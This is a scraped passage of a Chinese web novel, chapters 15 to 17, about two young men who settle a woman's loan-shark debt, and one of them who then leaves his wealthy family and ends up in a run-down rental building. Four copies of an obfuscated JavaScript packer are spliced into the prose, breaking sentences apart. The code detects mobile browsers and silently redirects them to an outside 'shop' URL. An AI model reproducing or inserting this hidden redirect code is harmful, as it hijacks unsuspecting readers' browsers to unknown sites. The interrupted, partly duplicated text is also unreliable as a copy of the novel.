;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727116|189507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抽么。” 肖珩“嗯”了一声。 陆延懒得再去掏烟盒,直接把手上那根烟给他。 “身手不错,”陆延收回手,把手搭在摩托车头上,“练过?” “玩过拳击。” 肖珩没说太多,低头把烟点上,他嘴角破了皮,眼角也有一块儿,低头抽烟的时候整个人才再度冷下来,又回到了打架前的样子。 然后隔几秒,陆延又听到肖珩回敬他一句:“你推垃圾桶的姿势也不错。” 陆延:“……” 肖珩侧过头,补充道:“惊天动地。” “操,”陆延伸手,“你别抽了,把烟还我。” “不还。”肖珩说。 他们俩面前的地上还东横西倒地瘫着的五个壮汉。 昏暗的地下车库里,五个人蜷在地上,打架打输之后几个人脸上都不太好看,衣冠不整不说,其中一个头发上还沾着几根菜叶。 沾着菜叶的那位实在忍不住了,他把散发浓烈馊味的菜叶从头上拿下来,并不地道的厦京市口音崩溃地问:“大哥,你俩能不能别聊了……你们到底想干什么啊!” “刚才那女的。” 肖珩这才正眼看他们:“她欠你们多少钱?” 几个人被打了一顿打懵了,反应半天才反应过来“那女的”是谁:“她原来借的是六、六六十万,这几年算上还的钱,还差一、一百二十万。” “……” “你们高利贷都是数学奇才啊,”陆延咋舌道,“一百二十万也说得出口?” 陆延不是不知道高利贷是什么东西。 他也见过有人因为欠高利贷被逼无奈走上十六楼,从楼上当着警察的面跳下去的。 但康茹的事摆在面前还是难免觉得震撼,六十万还了几年剩一百二十万,这一百二十万继续往下滚下去又不知道是多少钱……而他们现在所在的地下车库离康茹“工作”还钱的地方凤凰台不超过两百米。 他和肖珩脑子里产生同一个念头:康茹是真没动肖启山给她的钱。 她把孩子扔给肖家,可能真是想让孩子有一个相对正常的生活环境,即使是私生子,也比当一个被高利贷缠身的妓女儿子强。 陆延看着肖珩抽完半根烟,才从西装外套里摸出来一个钱夹。 陆延:“你要替她还?” 肖珩咬着烟没法说话。 “你钱够吗,”陆延不懂有钱人的世界,随身携带那么多钱超过了他的认知,他摸摸口袋,“不够的话我这能给你凑……” 口袋里是两张纸币。 一张五十块,另一张五块钱。 肖珩看到他的反应,故意追问:“你能凑多少?” 凑个鬼。 陆延把手从口袋里拿出来,看着他说:“我凑一份心意。” 15. 第十五章 肖珩嗤笑道:“你身上不会连五毛都没有吧。” “看不起谁?” 人再穷也得有尊严,陆延说着,又把口袋里的钱掏出来。 陆延现在跨坐摩托车上,跟肖珩离得距离约莫有半条胳膊那么远的距离,他俯身向前靠,指尖夹着两张叠在一块的纸币,把纸币塞进肖珩大开的衬衫领口里:“收好了,巨款。” 陆延顺着这个角度一眼能看到他的锁骨,这大少爷身材不错,衣架子……再往下就看不太清了。 “干什么,”肖珩把“巨款”从衣领里拿出来,那表情看上去想再给他打套拳,“……拿回去。” 五十五怎么了。 劳动人民的血汗钱。 “拿走。” 陆延没接。 能让大少爷一句话重复三遍已经实属难得:“拿、走。” 陆延还是没接。 肖珩直接把烟扔了,走上前两步,二话不说就把他摁趴在车上。 陆延被摁得没有一点点防备。 “别乱动,”肖珩想找个地方下手,但陆延这样被他摁趴着也没个能塞钱的地方,他最后干脆往他牛仔裤后面那个口袋里塞,“你自己留着,我用不着。” “……” 牛仔裤本来就紧,肖珩往里面塞东西的感觉太强烈,陆延刚才往人衣领里塞钱的时候不觉得有什么,这下可算是知道了东西不能乱塞:“操!你往哪儿塞!” 肖珩没回话,他把钱塞进去,这才把人松开。 陆延胳膊肘抵在车头上,起身的时候都压出了两道印子,有种明明是自己先上去耍流氓结果对方更耍得狠的挫败感。 事实证明肖珩还真不差钱。 他那钱夹一打开,里面两排都是银行卡。 肖珩从里面随便抽出来一张。 边上几个男人刚被打完,怎么也想不到他是来还钱的,恍惚道:“你、你要帮她还钱?一百二十万?” 陆延也说:“你真要帮她还?” 陆延原来以为他最多可能帮忙跟高利贷掰扯几句,这种利滚利说到底就是耍无赖。 而且他跟康茹非亲非故的。 岂止非亲非故,陆延没猜错的话,那小孩应该是康茹跟他爸在外头生的孩子……这年头对待自己父亲在外头的女人都那么仁慈? 然而陆延想半天,大少爷说出三个字: “我钱多。” “……” 好的。 知道你有钱。 钱多得没地花。 领头的那个连滚带爬从地上起来,去货车里取样东西又跑回来,等他走进了陆延才看清那是个移动pos机,他脸上喜悦的表情溢于言表,刚才挨的那顿揍也不计较了:“我们这支持刷卡,您看您怎么来方便,刷卡现金都行。” 准备得还挺齐全。 肖珩刷了卡。 一百二十万,说刷就刷。 连眼睛都不眨。 陆延发现自己是真的不了解有钱人的世界。 这帮人平时办事就得东奔西跑的,货车上除了收款机,连公章、借债合同都有,一应俱全。 不过十几分钟的功夫,康茹的借债合同和还债证明便打包装在档案袋里交到陆延手上:“给我干什么?” “你拿回去给她,”肖珩说,“你顺路。” 顺路倒真是很顺,就在他隔壁。 陆延打开检查了一遍,确认没有缺什么文件:“我帮你给她也行。” 虽然过程有些崎岖,但这事也算圆满解决。 陆延把档案袋收好之后推着摩托车和肖珩两个人往车库外头走。 经过那个威力不容小觑的绿皮垃圾桶的时候,不知道是肖珩先嘲笑似地笑了一声,还是陆延自己没忍住:“……你别笑,你以为我想推?这破地方他妈就只有一个垃圾桶!” 肖珩表示一点都不想听他放屁。 “……”陆延摸摸鼻子,转移话题道,“今天没见你开车,你等会儿怎么回去?打车?” 肖珩“嗯”一声,反问他:“还有烟吗。” 陆延直接把一整盒都扔给了他。 陆延扔完了没再多逗留,但他当开出去两百米遇到一个红灯,停下来透过后视镜去看后面的人,发现肖珩还在原地没走,男人正坐在路边台阶上抽烟,身上带着伤,抽两口烟后他低下头——那是一个完全不符合他性格的、甚至有些脆弱的姿势。刚才打架时脱下来的那件西装外套被他随意丢在脚边。 已经是深夜。 除开凤凰台那片区域依旧灯火通明,车库附近其他地方基本没有灯光,连路灯都没几个,肖珩整个人就隐在这样一篇黑暗里。 陆延无端地觉得他这个样子看起来很像那些无家可归流浪猫狗。 当然如果是肖珩。 怎么也该是只几万起跳的赛级品种。 面前红灯闪烁两下。 …… 不过,无家可归。 陆延收回眼,觉得这念头很荒谬。 - 康茹次日中午才回的楼。 陆延为了蹲她,特意定的闹钟,康茹上楼的时候他还在吃午饭,临时饭友伟哥正坐在他边上听他讲昨天晚上他暴揍高利贷的英勇事迹。 “对面五个人,”陆延边说边夹起一筷茄子,“五个人对我来说那还不是小意思,撩撩袖子就上了——” 伟哥虽然为这个刺激的格斗氛围感到紧张,但他还存有一丝理智,他也夹起一筷油焖茄子,感慨道:“延,这不像你啊。” 陆延没想到吹个牛都能被人戳破:“哥你对我有什么误解?” 伟哥:“你对你自己有什么误解?” 伟哥在这栋楼住的时间比陆延还久,陆延这人动嘴不动手的性格他领教得很透彻,而且就算他动手了…… “拆除公司头一回来的时候让你打一个你都打不过。” 伟哥用充满追忆的语气说:“我还记得你三两下就被人家打飞的样子……” “……” 陆延听到这,伸手把伟哥手里捧着的碗筷拿下来,然后指指门:“你,出去。” 伟哥:“咋的,不是说好我借你车,你请我吃饭的吗。” 陆延一只脚蹬在地上站起身,走到柜子面前翻一阵,最后翻出一桶红烧牛肉面:“这口味你看行吗。” 伟哥简直难以置信:“???你是人?” 两人闹了一阵。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727117|189507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 伟哥捧着红烧牛肉面站在门口,康茹正好走上来。 她依旧穿着晚上那身衣服,眼皮底下是即使涂了厚厚一层遮瑕也盖不掉的黑眼圈。 “来了来了,”伟哥蹿进门说,“人回来了。” 陆延拿起上次没来得及还的碗和档案袋,拉开门出去,站在康茹面前说:“上次问你借的,一直没还,还有这个,这是有人托我给你。” 康茹看他两眼。 她打开档案袋之前完全想不到里面会是两份合同—— 一份她眼熟得不能再眼熟,就是那份绑了她整整五年,每天晚上做噩梦都是上头的白纸黑字化成利刃不断凌迟着她的借债合同,最后落款是她自己签的字。 但其实也没有那么熟悉。 因为当时她签下这个合同的时候甚至没能仔细看清合同内容,同厂的小姐妹跟她说:“这合同不会有问题的,这我表哥,肯定给你按最低的利息算,比银行还低的,你不用担心。” 于是她握住那根笔,在上头一笔一划签了自己的名字。 康茹原来跟所有来厦京市打工的女孩子一样,她带着简单的愿望,来大城市寻找工作机会。 “你还不上钱?——你就不会想办法?” “姑娘……我这有份工作,来钱快,你考虑考虑?” 无数双手把她推向深渊。 她觉得自己一点一点地烂透了。 这辈子要是还能闭着眼撑下去,那就再撑会儿,撑不下去就去死吧。 但孩子的出现是个意外,她去过一次小诊所想做人流,钱都交了,最后一刻她推开医生从病床上赤着脚跑出去——她知道她以后会为这个决定后悔,她还是推开了那些冰凉的器械设备。 所有后悔都抵不过孩子出生的那一刻,她觉得世界亮了一点。 康茹愣愣地将这页合同翻过去,发现底下还有一张。 那张纸上写着: 乙方康茹女士所欠债务一百二十万元已全部还清,自本协议生效起,康茹女士与本公司之间再无任何债权债务关系。 陆延从来没见人这样哭过。 康茹死死咬着手背,腰慢慢弯下去,她身上背着的包从肩上滑下去,然后压抑的声音才从紧咬不放的齿间溢出来,眼泪簌簌地往下落,砸在地上。 - [陆延]:东西已经给了。 [肖珩]:en [陆延]:一直在哭,反复说对不起,问孩子在哪儿,你明天把孩子带过来? [肖珩]:en 不管发什么对面都是极其敷衍地、连输入法都懒得切成中文的“en”。 康茹整个人哭得脱了力,陆延把她扶回房间,出来之后打字回复。 [陆延]:你复读机?能换个词吗? 这回肖珩回的消息更简洁了。 [肖珩]:o …… 等陆延刷完碗,肖珩倒是主动发了几条消息解释。 [肖珩]:泡奶粉,不方便打字。 另一条是条语音。 陆延点开,一个“杀”字先出来,大少爷说话顿了顿,才往下说:“谢谢。” 你刚才是想说杀马特吧??? 16. 第十六章 陆延直接退出对话框。 另一个人倒是来了。 [袋鼠]:在在在在吗。 陆延回。 [陆延]:在。 [陆延]:V团贝斯手的岗位也还在,乐队大门永远向你敞开。 [袋鼠]:………… [陆延]:你是不是考虑好了。 [陆延]:你队长那儿我去说,大家都是成年人,有自己的选择,水往低处流人往高处走。 袋鼠估计又被他聊自闭了,好半天才回:你神经病啊!当然不是! 袋鼠:我这有个活,他要找人写歌,出价还行,就是要求有点多,我把他推给你啊。 不愧是兄弟乐队。 有钱赚的时候总能想到对方,陆延感动地想。 什么是好兄弟,这就是好兄弟! 陆延正好这几日没接着单子,全身上下就只剩下五十五块钱“巨款”。 他从袋鼠那儿加了推过来的那个联系人,给人备注为“甲方”,然后甲方开口了:你好,我女朋友过几天生日,我想给她定制一首活泼中带着恬静,狂放又不失优雅的的歌曲。 ……你说你要啥? 陆延心里那点对兄弟乐队的感动之情立马烟消云散了。 肖珩隔天中午带着孩子过来的时候,陆延熬了一晚上没睡,客户要的歌还卡在编曲阶段。 甲方:我觉得缺了一点感觉。 陆延:亲,您觉得缺了什么感觉? 甲方:就是一种感觉。 陆延头都没回,坐在电脑面前,背对着肖珩说:“你自己找地儿坐。” 这个邀请实在是很没有诚意,陆延用来录音的设备堆了满地,他房间本来就那么点自由活动的空间,现在这么一堆,堆得满满当当,地上还散落着一堆胡乱团起来的纸张。 “你这是狗窝?” 肖珩倚在门口,目光从纸团移到陆延身上,又说:“有地方下脚?” “……” 陆延喊:“那你就别进!” 陆延手搭在琴弦上,连人带琴转过去,看着门口的人说:“懂不懂礼貌,知道现在谁在谁地盘上吗?” 肖珩注意力落在那把琴上:“你在练琴?” 陆延:“不是,在写歌。” 陆延不知道“写歌”这两个字能给人造成多大的冲击。 肖珩本来想着现在下楼能不能躲过一劫,但陆延说他在写歌,一个能把吉他弹成这样的奇才居然在写歌,这就好比有人连走路都不会,却跟他说:老子能飞。 陆延把录在电脑里的那段demo暂停,又把耳机摘下来,冲他道:“刚改完一版,听吗?” 肖少爷勉为其难越过那堆垃圾。 极其勉强地接过耳机。 “吉他弹成那样你还写歌……”肖珩话说到这里止住了。 陆延这个人。 真的会飞。 从监听耳机里传出来的声音完全超过他的预期,这首编曲用的是虚拟吉他,主旋律活泼轻快,虽然还在初期阶段,但旋律的完成度已经很高。 由于还没有填词陆延只是随便跟着哼哼。 从上次肖珩就发现,陆延的声音有种特质,一开口就能抓住人。 虽然甲方要求太多,但只要一碰音乐,陆延就觉得身上那股劲回来了,他虽然听不到耳机里的声音,但手指曲起,跟着进度条在桌上敲。 敲完最后一下,他冲肖珩勾勾手:“给你一个机会,收回刚才那句话。” “我收回,”肖珩把耳机摘下来,说,“还凑合。” 肖珩准备起身,看到陆延搁在边上的手机,屏幕上甲方还在说这边差了点感觉那边差了点感觉。 肖珩“啧”一声,又顺手把耳机往陆延头上套:“他怎么不要五彩斑斓的黑。” 肖珩这刻薄的性格以及怼人功力只要不往他身上放。 ……还是挺好的。 陆延头一次听大少爷怼人听得那么爽。 肖珩又说:“你不是玩乐队吗,还干这个。”还有之前的替课,这人的商业版图倒是挺宏大。 陆延把进度条拖回去,打算从头再听一遍,看看怎么改,随口说:“……为了生活。” 说话间,门口传来一阵敲门声。 康茹站在门口,看着他们俩说:“我准备了桌饭,也没什么特别的,就是些家常菜,你们要是不嫌弃的话,我想请你们吃个饭。” 康茹今天没化妆,素颜。 她长得其实很干净,眉毛细细的一条,五官没有特别突出的地方,凑在一起却有种温婉的气质。 小孩在她怀里,手里攥着奶瓶,不哭也不闹,偶尔还伸出几根肉肉的手指去抓她。 还是亲妈带得好,比肖珩那只会冷着脸说“你哭什么哭”的技术好多了。 陆延以为肖珩可能吃不惯外头的东西,或者毛病特多,康茹甚至还准备了一双公筷,结果坐一桌吃饭之后发现豪门少爷吃饭也没那么多讲究——这个发现源于他和肖珩都想去夹最后一个鸡腿。 “你滚,我的!”陆延把肖珩的筷子撇开。 “什么你的,你叫它一声你看它应不应你。”肖珩冷笑一声,毫不留情地把他筷子压下去。 眼睁睁看着两个人吵起来、而且吵得还像幼稚园儿童的康茹:“……” 婴儿坐在她腿上,大眼睛咕噜噜转两圈:“?” 最后两个人约好了,这鸡腿放回去谁都不能碰。 “对了,你之后有什么打算?”陆延抬眼去看康茹。 康茹替孩子擦擦嘴说:“我买了车票,今天下午就走,东西也收拾差不多了,我……我打算离开厦京市。”离开这里,重新开始。 这地方承载太多不好的回忆。 陆延四下看看,房子的确被整理得很干净,本来康茹也没有置办太多东西,现在简单一收拾,空荡荡地好像没有人住过的样子。 “这是之前那笔钱,”康茹说着把一张支票放桌上,那张支票是之前肖启山给她的钱,她说,“这钱我不要,另外那笔钱我会想办法一点点还的,虽然目前还比较困难……” 肖珩说:“不用,这钱你收着,给孩子的抚养费。” 说当抚养费也没错,肖启山那老畜生把人肚子搞大,给抚养费是应该的。 但康茹很坚持:“这不行。” 肖珩看了这个房间一眼,最后皱着眉拼命找理由说:“就当买你这房了。” 康茹呐呐道:“可……我这房是租的。”而且就算不是租来的,也卖不了那么高的价。 肖珩:“当我租的。” “……” 陆延听到这里,放下筷子,认真地拍拍他:“喂。” 肖珩看他一眼。 陆延指指门外,门外正对着的那间就是他的屋,门上写着602:“我那间,冬暖夏凉,风水也不错,用不着那么贵,给你打六折。” 肖珩:“……” 陆延:“价格好商量。” 肖珩没理他。 陆延:“对折也行,你心理价位多少?” 肖珩连看都不看他了。 吃完饭,肖珩跟这小孩儿告别。 带了几天,小孩儿虽然不会说话,但已经熟悉他身上的气息,小孩儿躺在康茹怀里,习惯性冲他张开手。 “谁要抱你。” 肖珩没抱他,他摸摸孩子的头,有点嫌弃地说:“走了,以后烦你妈去。” 陆延记起来这人还是个C大学生,他见过他的课表,今天上午有应该有那个胡教授的课才对,他看着肖珩往外走的身影,琢磨着:有钱人家的孩子都不用自己上课的? - 肖珩不是不用上课,他那重修的课加起来总共有六门。 只是他不去学校上课而已。 晚宴上跟肖启山闹僵之后,他白天就去翟壮志那儿混日子。 肖珩推开酒吧包间门,翟壮志刚好在和邱少风还有一群富家子弟玩骰子,昏暗的包间内是一阵浓烈的烟味,烟味混着头顶乱七八糟的彩光席卷而来。 这是翟壮志他们家开的酒吧,这间包间从不往外定,是他们的专属包间。 “三个三,三个三!我靠,”翟壮志玩输之后闷下一杯酒,这才去看门口的人,“老大你来了?孩子解决了?” 肖珩没回话,他坐进去之后,边上立马有人给他递了根烟过来。 他接过:“还玩骰子?” 翟壮志:“你想玩啥。” 肖珩往后靠,说:“玩个大的吧。” 他话音刚落,周围一阵欢呼声。 肖珩一进来,翟壮志就把最中间的位置让了出来——他们这个号称“全员废物”的小团体里,肖珩有着不可撼动的地位。无关家世,硬要说起来,可能因为大家虽然都身为废物,但肖珩是他们这帮人里战斗力最强的那个。 他们这帮人也就在外面浪浪,到了老子面前还不得乖乖低头。 但肖珩不是。 翟壮志余光瞥见桌角不断闪烁的手机屏幕:“老大你电话在响。” 肖珩没玩几局,肖启山的电话就来了,于是肖珩在一片缭绕的烟雾里,半眯着眼,抬手把手机往酒杯里扔。 手机浸了水,很快就没动静了。 “我去……” 翟壮志叹为观止。 顿了顿,翟壮志又说:“你真不接啊?你那天在宴会上给肖启山甩脸子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727118|189507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,这事都闹出圈了,听说你走之后他整场下来脸都是黑的——” 肖珩把手里剩下的牌扔出去,提醒他:“你输了。” 肖珩没玩多久,虽然挂了肖启山电话,他还是决定回去一趟。事实上除了之前回去拿东西被那小孩儿缠上,他已经很久没在那个“家”里头住了,回去也没有别的事,他就是突然想看看肖启山黑脸的样子。 肖启山脸色的确很黑。 肖珩一进门,肖启山就在客厅坐着,边上是他难得回来一次的母亲。 肖启山怒道:“你还知道回来?” 肖启山很快平复下来,又换了个话题,问:“你今天把那孩子带出去了?” 肖启山说话的时候,他母亲坐在边上喝茶。 肖珩无所谓地说:“给他妈了。” 肖启山五官扭曲两秒,那是一个极度嫌弃的表情:“那个妓/女?她愿意养孩子?” “妓/女怎么了,”肖珩看一眼边上的女人,说,“妓/女也比某些人强。” 女人喝茶的手顿住,终于有了一点反应。 “你怎么跟你妈说话!你在宴会上扭头就走,我和你妈面子往哪儿放,知不知道会对公司产生多大影响,你是想让所有人都知道肖家和秦家只是商业联姻——” 肖启山声音不断上扬,说的话也越来越刺耳,仿佛要撕裂面前这张说什么都无动于衷的脸:“我跟你强调过多少次,你只是证明两家结合的工具,工具就该做好工具的本分。” 肖珩捏捏自己的食指骨结,觉得这个场面很可笑。 他的父亲和母亲,坐在他面前。 对他说:你只是工具。 工具。 他突然想到那小孩。 他不是爱多管闲事的人,只是见到那小孩第一眼,他似乎看到以前的自己。 肖珩回过神,肖启山正指着他鼻子骂:“我们哪里苛待你了,你还想怎么样,你现在吃的、穿的、用的,哪样不是——”他的话说到这戛然而止。 肖珩所有情绪、或者可以说是多年来一直压着的情绪终于到达顶点。 他觉得烦透了。 肖启山看到肖珩把手里拿着的车钥匙扔在了地上,砸在瓷砖地面上发出清脆的声响。 不止是车钥匙。 肖珩褪下了手腕上戴的手表,身上那件价值不菲的外套,装满银行卡的钱夹……一件一件,他在肖启山和所谓的母亲面前,把他身上能扔的都扔了下去。 今天一直是个阴天。 到傍晚终于打出第一声雷鸣。 隔几小时后,等天色逐渐暗下去,暴雨倾盆而下。 - “延!收衣服收衣服收衣服!!” 伟哥被这场暴雨淋傻了,他边收衣服边通知街坊邻里:“下雨了!” “还有谁在天台上晒衣服的,这条东北风味的花被子是谁的啊——” 低价出租房里没多余的地方,大家一般都在天台上支个简易衣架晒衣服。 张小辉踩着拖鞋哒哒哒跑上天台,惨叫道:“我的我的!我的被子!” 陆延撑着伞上天台,看着暴露在瓢泼大雨里的两个人,觉得这他们俩脑回路不太对:“你俩为什么不打伞?” 伟哥和张小辉这才意识到自己冲得太急,忘了打伞。 陆延话音刚落,他的伞就开始不受他自己的控制,往其他地方偏。 伟哥和张小辉两人抓着陆延的伞,强行把伞往他那边带,陆延大半个肩膀立马就湿了,他俩嘴里还喊着:“我靠,忘了,给我挡挡。” 陆延:“……你们俩能要点脸吗?” 在阴天晒东西的傻子不多,全楼也就他们三个。 陆延把八分湿的衣服从衣架上扯下来,他正要下楼,就着并不太清楚的昏暗天色隐约看到楼下被拆了一半的花坛台阶上好像有个人影。 他又仔细看了一眼,发现不是错觉。 楼下确实有个人。 还是个男人。 即使男人坐在台阶上,他还是从这个模糊的身形里识别出一丝熟悉的气质——大少爷? 伟哥推推他:“愣着看啥呢,都收完了,还不走?” 陆延说:“哥,你帮我拿下衣服。” 陆延下了楼,他推开前几天刚修好的出入门。 不远处,那人坐在台阶上,浑身都被暴雨淋透了,他身上还带着前天跟高利贷打架时弄出来的伤,嘴角那块伤疤刚结痂,头发极其狼狈地沾在脸颊上。 陆延撑着伞走到他跟前,想不通这大少爷为什么会在这里。 他犹豫地喊:“肖珩?” 男人低垂的头抬起来,陆延在这片肆虐的雨夜中对上了肖珩的眼睛。 17. 第十七章 尽管这个猜测毫无根据,陆延第一反应依旧是:他在哭? 肖珩眼睛很红,看向他的时候眼底有迷茫,更多的是戒备。 像受伤之后独自舔舐伤口,危殆间依然绷紧了满身神经的危险动物。比起不肯示人的脆弱,他身上那种混乱、暴戾、尖锐的感觉明显比脆弱更多。 像现在正不断往下坠落的凛冽的雨水。 陆延的伞勉强能撑下两个人,他又说:“您坐在这,赏雨呢?” 肖珩没有说话。 “说话啊。” …… “淋傻了?” …… “这雨淋着爽吗。” 肖珩听到这终于有了反应,他闭上眼,雨水直接顺着脸颊往下滑,沿着喉结下去了。 大少爷再度睁开眼,嗓音嘶哑:“你好烦。” 陆延:“……” 这狗脾气。 他为什么要下来? 怎么不淋死他。 陆延正犹豫要不要转身上楼,狗脾气看了他一会儿突然间起身了。 陆延不知道他想做什么,站着没动。 肖珩朝着他走了两步,他整个人湿得跟水里捞出来的一样,身上那件衬衫贴在身上。 男人腰身精瘦,衣衫纽扣本来就没怎么认真扣,湿透之后和没穿没什么两样。虽然现在这个情形下冒出一些其他念头明显不合适,但狗脾气现在这个样子——真的很伤风败俗。 陆延没能再继续想下去,因为肖珩靠近他之后,微微弯下腰,把头抵在了他肩膀上。 肖珩浑身都是雨水。 但陆延第一反应不是湿冷,而是烫。 左肩被他靠着的地方轻微地有些发烫。 陆延这才发现这人连呼吸都是滚烫的:“……喂?” “你怎么了?” “回话。” “你人在阴间?” 这些话,肖珩都已经听不太清。 两个小时前,他把身上所有能扔的东西都扔了。 肖启山最后说的话仿佛还在耳边,怎么也散不去:“你走出这个门——你走出去就跟肖家再也没有任何关系,我没有你这种废物儿子,你是不是以为你现在这样特牛?你有本事你就走啊,你看你走出去之后到底是个什么玩意儿。没有你老子我,你什么也不是!” 他漫无目的地沿着公路走。 不知道去哪儿,哪儿也不想去。 然后肖珩听到有人叫他的名字,恍然间雨好像停了,他抬头看过去——一把伞正挡在他上方。 陆延最后问出一句:“你不在家呆着,跑这来干什么。” 过了很长时间。 就在陆延以为他不会回答的时候,肖珩才说:“……家?我没有家。” 他这句话说得很轻,不像回答,更像自言自语。 这一路实在走得太过漫长,又淋了一场暴雨,声音哑得不成样子,陆延差点没听清他在说什么。 陆延最后只能先把人带进楼。 雨势实在太大,撑着伞也不管用,等两个人都顺利进楼,陆延身上也淋得差不多了。 伟哥和张小辉两人全程开着窗在楼上望风,两个脑袋瓜子在窗口杵着十分显眼。 由于离得远,又被伞挡着,伟哥一直没看清楚人,他说完又在楼上喊:“延延,你捡了个什么玩意儿回来?” 陆延说:“捡了条狗!” 伟哥:“……” 肖珩:“……” 伟哥:“那你衣服是等会儿我给你送上去还是咋地。” 陆延:“不用,我等会儿下来拿——” 陆延把人领上楼。 之前康茹那个事,隐约也能看出来他家环境不太简单,现在这幅样子跑出来,陆延猜测道:“你跟家里吵架了?” 肖珩没否认。 陆延也不方便过问太多,但他比较好奇一点:“你来这干什么?” 他来这什么? 肖珩也找不到理由。 他最后说:“601,你对门。” “——就那屋,现在是我唯一的资产。” 这么栋破楼里的一间出租房,是他唯一的资产。这哪儿是吵架,基本约等于决裂吧。 谈话间,已经到了六楼。 陆延又问:“你有601钥匙么,康茹给你了?” 肖珩:“没有。” “……” 陆延:“那你住哪儿?” 肖珩看他一眼。 陆延算是知道怎么回事了:“我觉得邻居之间,确实应该互帮互助。” “我也不多收你钱,一晚上两百,不议价,等你有钱了还我。” 肖珩没想到他这话转得那么快:“你这房间,两百?” “你这不是走投无路吗,”陆延说,“坐地起价不懂?” 陆延这个人如果不搞音乐改行做生意的话,绝对是个奸商。 谈妥价格,陆延打开门:“你洗个澡?你有衣服吗?” 他问的这是个蠢问题。 问完他就后悔了。 陆延抓抓头发:“那穿我的?” 肖珩没意见。 陆延去翻衣柜,肖珩真跟他捡回来的流浪狗似的站在他身后。 衣服倒是好找,随便拿一套就行。虽然想拿件没怎么穿过的给他,但人的经济基础决定了……他的衣柜里并不存在那种衣服。 然而陆延手刚碰到一件T恤衫,刚才还没意见的大少爷说:“这件不行。” “理由?”陆延问。 “丑。”肖珩的回答又冷漠又简洁。 “……” 全身上下所有资产只剩一间没有钥匙的房了,还敢嫌丑? 陆延觉得不可思议。 “人在屋檐下,知道要干什么吗,”他把那件衣服拿起来,看着肖珩说,“要、低、头。” 陆延:“你再说一遍,这件怎么?” 一阵沉默。 肖珩最后勉强地说:“这件还行。” 教育完之后,陆延给他找新毛巾,接着从抽屉里翻出来一条没拆封过的新内裤,本来这种贴身衣物拿出来就比较尴尬,身后又是一句:“换一条。” 陆延:“这他妈为什么又不行?” 虽然买的是淘宝爆款,但他手上这条也算简约大气,CK高仿,经典永不过时的颜色。 陆延又说:“刚才我跟你说什么话你还记得吗。” 肖珩目光略微往下,用一个字打断了他:“小。” 陆延:“…………” 肖珩去浴室洗澡,陆延怕自己呆着再听到什么话容易失去理智做出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727119|189507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一些违反法律法规的事来,于是揣上烟盒出去抽根烟缓缓。 小?! 你妈的。 你才小,你全家都小。 陆延蹲在门外头抽烟,又回忆起肖珩那意味深长目光。 …… “操,”陆延低头用手指弹弹烟灰,自言自语说,“让他在那破花坛上坐到天亮得了。” “我看你一直没下来拿衣服,我就给你送过来了。” 伟哥正好从楼下走上来,看到陆延蹲在601门口抽烟,惊了:“你蹲这干啥?你捡回来的那人呢?” 陆延说:“狗?在洗澡。” 伟哥:“是那谁吧,有钱少爷,我大老远瞅着像。” 陆延咬着烟接过,说:“是,富贵犬。” 伟哥又问:“他跑这来干什么?” 陆延冷笑一声:“鬼知道。” 伟哥:“延,你火气有点大。” “哥,你提醒我一句,告诉我杀人犯法,”陆延说着把烟摁在地上,“我现在不太理智。” 伟哥从善如流:“延弟,杀人犯法。” “嗯。” “想想自己的大好前程,想想祖国的大好河山!想想你的音乐梦想!” “嗯。” “有什么想不开的,打一顿得了……算了你应该也打不过,骂一顿得了,是吧,咱犯不着置人于死地。” 陆延本来频频点头,听到一半觉得不对劲:“?” 伟哥:“没啥,我什么都没说。” 等陆延抽完烟回来,肖珩刚好洗完,头发擦得半干。 他身上那件T恤是之前陆延淘宝上三十块钱包邮买的,图案是一串音符,李振也有一件,他俩一起买这件衣服的原因并不是因为这件衣服多好看,也不是因为音符代表了他们的音乐梦想,而是因为:第二件半价。 自己的衣服穿在别人身上的感觉很奇妙。 这风格跟肖珩其实并不搭调,裤子还是条破洞裤,但陆延看着他,这时候才真的感受到一点这人以后可能是真的要跟自己做邻居的真实感。 两人往下城区一站,估计能蹲在路边一块儿打劫。 肖珩明显也不是和适应,他扯扯衣领问:“我睡哪儿?” 陆延说:“你睡哪儿都行。”反正得付钱。 